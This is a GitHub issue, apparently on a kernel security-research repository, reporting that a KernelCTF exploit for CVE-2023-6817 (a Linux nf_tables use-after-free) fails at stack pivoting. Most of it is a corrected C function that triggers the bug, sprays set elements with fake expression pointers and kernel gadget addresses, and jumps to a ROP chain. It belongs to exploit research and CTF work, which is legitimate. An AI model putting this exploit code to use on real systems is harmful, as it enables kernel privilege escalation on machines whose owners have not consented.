security-research icon indicating copy to clipboard operation
security-research copied to clipboard

Incorrect Exploit in KernelCTF(CVE-2023-6817) && About stack pivoting

Open fuchen-03 opened this issue 9 months ago • 0 comments

Question

The layout in orignal ROP chain of CVE-2023-6817 exploit is below:

Image

But the kernel stack layout is not what was envisioned in exploit: Image

The red box is target addr in rsi not in rbp ; But the green box rbp point to other address. When leave ret execute , rsp will not piont to the target addr. So the original exploit can not successfully pivot stack. I modify exploit in the below(just modified jmp_rsp function)

void jmp_rop(struct nl_sock * socket){
    char *pipapo_set = "set pipapo for rop";
    char *hash_set_for_expr = "set hashtable for expr";
    char *table = "table for rop";
    char *target_chain = "chain for rop";
    int i;
    printf("start rop\n");
    new_table(socket, table);
    cur_handle = 0;
    new_chain(socket, table, target_chain, 0);
    new_set_pipapo_for_poc_chain(socket, table, pipapo_set, 0x40);
    new_set_hashtable_with_elemdata(socket, table, hash_set_for_expr, 0x30, 0x18);

    nl_socket_modify_cb(socket,NL_CB_MSG_IN, NL_CB_CUSTOM, nl_callback_find_target_setelem, NULL);
    
    //step 1
    //create some elements to make chain->use = 0x20
    
    char *pad = malloc(0x100);
    memset(pad,0x41,0x100);
    char *key = malloc(0x40);
    char *key_end = malloc(0x40);
    char *hash_key_48 = malloc(48);
    memset(hash_key_48, 0, 48);
    for(i=0;i<0x20;i++){
    	memset(key,i,0x40);
	memset(key_end,i,0x40);
	new_setelem_with_chain(socket, table, pipapo_set, pad, 0x100, key, 0x40, key_end, 0x40, target_chain);
    }
    //step 2 trigger vul to make chain->use = 0
    for(i=0;i<0x20;i++){
    	primitive_1(socket, table, target_chain);
    }
    //step 3 delete target chain
    del_chain(socket, table, target_chain);
    sleep(5);
    //step 4 create normal set elem with expr, make offsetof(chain->use) == offsetof(expr->size)
    *(uint64_t *)&pad[0] = target_heap;//expr->ops
    *(uint64_t *)&pad[0x8] = target_heap;//expr->ops
    *(uint64_t *)&pad[0x10] = kernel_off + 0xffffffff813674c4;//leave;ret
    for(i=0;i<0x1000;i++){
    	*(uint64_t *)hash_key_48 = i;
        *(uint64_t *)(hash_key_48 + 0x10) = kernel_off + 0xffffffff81098165;//pop rsp; pop rbp; pop rbx; ret
	new_setelem_with_expr_and_elemdata(socket, table, hash_set_for_expr, pad, 0x18, NULL, hash_key_48, 48, NULL, 0);
    }
    
    //step 5 flush set to change the expr->size;
    elem_flush(socket, table, pipapo_set);
    //step 6 jmp to ROP;
     
    for(i=0;i<0x800;i++){
        *(uint64_t *)hash_key_48 = i;
        *(uint64_t *)(hash_key_48 + 0x10) = kernel_off + 0xffffffff81098165;//pop rsp; pop rbp; pop rbx; ret
        get_setelem(socket, table, hash_set_for_expr, hash_key_48,48);
    }
    
    printf("end\n");
    while(1);
    
}

And, the addr will change in everyone's linux kernel, so you only find your gadget with your ropper

fuchen-03 avatar Mar 25 '25 02:03 fuchen-03